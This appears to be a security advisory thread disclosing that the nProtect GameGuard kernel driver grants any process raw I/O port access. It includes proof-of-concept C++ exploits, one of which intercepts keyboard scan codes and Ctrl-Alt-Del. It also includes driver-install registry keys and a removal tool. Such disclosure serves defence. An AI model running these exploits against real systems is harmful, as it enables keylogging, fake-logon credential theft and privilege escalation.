Unrestricted I/O access vulnerability in INCA Gameguard

[Ryu Connor]

Source of security hole:
INCA nProtect Gameguard

Methods of propagation:
http://eng.nprotect.com/partner.htm

Vulnerable Operating Systems:
Windows 2000
Windows XP
Windows 2003

Non-Vulnerable Operating Systems:
Windows 9x

Vulnerability:
nProtect Gameguard is an application bundled with multiplayer games which
hides the game application process, monitors the entire memory range,
terminates applications defined by the game vendor and INCA to be cheats,
blocks certain calls to DirectX functions, and auto-updates itself.

To achieve some of these ends the program uses a kernel driver by the name
of nppt9x.vxd (Windows9x) and npptnt2.sys (Windows NT).

Due to the nature of Windows 9x design, the vulnerability we are about to
discuss has no bearing. A malicious individual could achieve the same ends
on Windows 9x without the need of the npptnt2.vxd driver.

This kernel mode driver allows any process to access it, and it modifies the
I/O permission mask for the calling process to allow unrestricted I/O in
user mode. The design of modern operating systems does not generally allow
for any I/O access from user mode code for system stability and security.

The driver uses undocumented kernel function Ke386SetIoAccessMap and
Ke386IoSetAccessProcess to achieve this; the driver is very similar to the
PortTalk sample available at
http://www.beyondlogic.org/porttalk/porttalk.htm.

Allowing a process unrestricted I/O access has the following risks:

1. If the process behaves unexpectedly (for example, a stack corruption
returning to arbitrary code), I/O instructions could be issued, leading to
potential problems with the system, bad data, etc.
2. A malicious process could elevate its privilege level on the system by
using direct hardware access to read / write the hard disk, program the DMA
controller, etc., or it could damage the system by resetting CMOS,
formatting the hard drive, etc.

The driver is installed as a system service. Even when Gameguard and the
multiplayer game(s) are closed, the driver continues running. The driver is
accessible under a non-admin account and is activated every boot. It does
not uninstall when the application is removed and in fact will not even
uninstall if selected in Device Manager and told to uninstall. The driver
must be deleted manually, and the registry must be edited to remove the
remaining reference.

It is true that even with this vulnerabilty the user must still be tricked
into running a malicious application that exploits it. However, in South
Korea, where the Gameguard service is widely used, net cafes have become
part of the social fabric. These machines are ripe fruit for damage.

At the more challenging level, one could use this hardware access to turn
the PC into a zombie. One could datamine information (bypassing NTFS
permissions), commit DDoS attacks, or escalate privileges on the system, by
putting the IDE controller into PIO mode, searching the disk for the system
DLLs, and replacing them with code altered to grant admin privilege. The
possibilities at this level of hardware access are nearly endless.

The nProtect Gameguard program is very rare here in North America, despite
the impressive partner list of INCA. It would be premature, however, to
presume that the installed base for this exploit is tiny. Just two of the
games on the INCA partner list - Lineage I and Lineage II - have a total of
four million active subscribers worldwide. This is not including the users
who have cancelled their accounts with a game service that uses Gameguard,
or future buyers who will purchase a game service that uses Gameguard.

Reproduction and Proof of Concept:

See attached NPPTNT2Access.cpp for proof of concept attack.

See http://www.lineage2.com/pds/pds_ts_client.html to download the Lineage
II PTS client, which is bundled with Gameguard. Please make sure to run the
lineageii.exe in order to patch up to the newest version. The driver is not
initially installed until the first login to the game world. In order to
install the driver without having an active subscription, please add the
following registry keys, which are standard for a non-PnP or NT4-style
driver, and reboot.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2]
"Type"=dword:00000001
"Start"=dword:00000001
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00, 57,00,49,00,4e,
00,\

44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,73,00,74 ,00,65,00,6d,00,33,00,32,\

00,5c,00,6e,00,70,00,70,00,74,00,4e,00,54,00,32,00 ,2e,00,73,00,79,00,73,00,\
00,00
"DisplayName"="NPPTNT2"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Security]
"Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00, 00,30,00,00,00,0
2,\

00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01 ,00,00,00,00,00,01,00,00,\

00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02 ,00,01,01,00,00,00,00,00,\

05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00 ,00,00,00,05,20,00,00,00,\

20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00 ,00,00,05,0b,00,00,00,00,\

00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00 ,00,00,23,02,00,00,01,01,\
00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00 ,05,12,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Enum]
"0"="Root\\LEGACY_NPPTNT2\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001

Solutions/Fixes:

nProtectRemover.cpp source has been provided to allow the creation of a
self-removal tool.

It is important to note the following:

Under an admin account, Gameguard will automatically replace any deleted
piece of itself upon the launching of the game application. Under a
non-admin account, the game application will not even function without the
driver in place. The user is forced, by fears of being compromised or by
the simple fact that the game will not run, not to play at all. The
alternative is for the user to exercise extreme caution in the applications
he or she chooses to run. Virus scanners will not detect or warn a user in
advance. In light of these issues, the burden upon the user is very high.

References:
http://eng.nprotect.com/nprotect_gameguard.htm
http://eng.nprotect.com/index.html
http://www.inca.co.kr/
http://eng.nprotect.com/partner.htm
http://www.mmogchart.com/
http://www.beyondlogic.org/porttalk/porttalk.htm
http://www.lineage2.com/pds/pds_ts_client.html

Credit:

The North American Lineage II Community.


-NPPTNT2Access.cpp

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows
headers
#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include <winioctl.h>
#include <conio.h>


int main(int argc, char* argv[])
{
bool bCall = true;

// check args - if there is an arg and it is 0, don't call the IO control.
if (argc > 1 && 0 == strcmp(argv[1], "0"))
{
bCall = false;
}

puts("Opening \\\\.\\NPPTNT2\r");
HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);

if (hFile != INVALID_HANDLE_VALUE)
{
if (bCall)
{
puts("Calling DeviceIoControl\r");
DWORD dwRet = 0;
// Take this line out and the _inp will give you an AV
DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);
}

puts("About to _inp(0x378)\r");

__try
{
_inp(0x378);
}
__except(1)
{
puts("Failed reading port\r");

return 0;
}

puts("Success reading port\r");


CloseHandle(hFile);
}
else
{
puts("Driver not found\r");
}

return 0;
}


-nProtectRemover.cpp

//nProtectRemover, delete the security threat nProtect from your system.
//Coded by MugiMugi
//I dont take any responsibility if this harm your system, but I higly doubt
it will.

#include <windows.h>
#include <winsvc.h>
#include <winbase.h>
#include <string>
#include <iostream>

bool StopService(LPCTSTR pszInternalName);
bool ServiceRemove(LPCTSTR pszInternalName);


int main(int, char**) {
std::string tmp;
std::cout << "This app will remove nProtect from your system, do you want
to continue type YES with big letters?\n:> ";
std::cin >> tmp;
if (tmp!="YES")
return 0;
std::cout << "Removing nProtect" << std::endl;

//Stoping npptnt2 service
if (!StopService("npptnt2"))
{
std::cout << "Unable to stop device npptnt2" << std::endl;
return 0;
}

//deleting npptnt2 service
if (!ServiceRemove("npptnt2"))
{
std::cout << "Unable to delete device npptnt2" << std::endl;
return 0;
}

//Deleting the registry stuff

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Security");

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2");

//Deleting npptnt2.sys and nppt9x.vxd
char buffer[MAX_PATH];
GetSystemDirectory(buffer,MAX_PATH);
std::string base(buffer);
std::string filename = base + "\\npptnt2.sys";
DeleteFile(filename.c_str());
filename = base + "\\nppt9x.vxd";
DeleteFile(filename.c_str());

//Bye bye
return 0;
}

// Stop service
bool StopService(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

if (NULL == hSCM)
return false;

SC_HANDLE hService = OpenService(hSCM, pszInternalName, SERVICE_STOP);

if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}

SERVICE_STATUS ss;
bool bSuccess = ControlService(hService, SERVICE_CONTROL_STOP, &ss);

CloseServiceHandle(hService);
CloseServiceHandle(hSCM);

return bSuccess;
}


// Remove service
bool ServiceRemove(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

if (NULL == hSCM)
return false;

SC_HANDLE hService = OpenService(hSCM, pszInternalName, DELETE);

if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}

bool bSuccess = DeleteService(hService);

CloseServiceHandle(hService);
CloseServiceHandle(hSCM);

return bSuccess;
}

[David Roberts]

In-Reply-To: <000001c4fc2b$bfd81820$6101a8c0@sauron>

On January 26 2005, NCsoft updated their Lineage 2 client for the North American and European market to include the GameGuard system.

The GameGuard system includes an updated version of the NPPTNT2.SYS driver (2005.1.5.1). The updated driver no longer opens all I/O ports on demand to a user mode process. However, it still opens two port ranges: 0x40-0x47 and 0x60-x067.

The port range 0x60-0x67 allows access to the 8042 keyboard and mouse controller. This access still represents a security vulnerability, as a trojan can use the driver to intercept all keyboard input to the system before the OS sees the input. This includ
es the Ctrl-Alt-Del Secure Attention Sequence, which is never passed to applications in the OS design.

Using GameGuard, a trojan could create a fake logon screen to the operating system, and get hold of usernames and passwords, and use those to elevate its privilege on the system. The operating system safeguard of pressing the Secure Attention Sequence Ctr
l-Alt-Del to get to a genuine logon screen is bypassed.

The attached proof of concept code shows a simple program that intercepts 100 keyboard scan codes and displays them on screen. While the program is running, Ctrl-Alt-Del is intercepted by the program and does not bring up the security dialog or task manag
er.

Also, if the attached proof of concept code is run concurrently with Lineage 2 with Gameguard, the proof of concept program successfully intercepts all input. There is a risk that the proof of concept may have side effects such as disabling your mouse or
resetting your computer, so please save any work before running it. The trade off is simplicity and clarity in the proof of concept.

In our testing we have found that PS/2 keyboards are affected as they use the 8042 controller, however USB keyboards are not as the OS uses the USB and HID driver stack to process input from them. We would recommend using a USB keyboard, and disconnecting
it from the PS/2 port if it has both USB and PS/2 connections.

// NPPTNT2keylog.cpp : Defines the entry point for the console application.
//


#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include <winioctl.h>
#include <conio.h>


int main(int argc, char* argv[])
{
puts("Opening \\\\.\\NPPTNT2\r");
HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);

if (hFile != INVALID_HANDLE_VALUE)
{
puts("Calling DeviceIoControl\r");
DWORD dwRet = 0;
// Take this line out and the _inp will give you an AV
DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);

// Read the status register
int StatusRegister = _inp(0x64);

printf("Status Register: %02X\n", StatusRegister);

// Output the read command byte command
_outp(0x64, 0x20);

// Read the command bytes
int CurrentCommandByte = _inp(0x60);

printf("Current Command Byte: %02X\n", CurrentCommandByte);

// Disable interrupts by masking off bit 0
CurrentCommandByte &= 0xFE;

// Output the write command byte command
_outp(0x64, 0x60);

// Output the new command byte
_outp(0x60, CurrentCommandByte);

puts("Type now and try 'E' or 'J' to exit, or Ctrl-C\r");

// Run for hundred scan codes or less
// (arbitrary termination condition)
for (int i = 0 ; i < 100; i++)
{
// Wait on bit 0 to go high
while ((_inp(0x64) & 0x01) == 0);

// Read the scan code from the keyboard
int nVal = _inp(0x60);

// Scan code 0x24 - Either 'E' or 'J' depending
// on which set of scan codes the keyboard is using
// Exit early on this key
if (nVal == 0x24)
break;

// list out the hex value of the scan code
printf("0x%02X ", nVal);
}

CloseHandle(hFile);
}
else
{
puts("Driver not found\r");
}

return 0;
}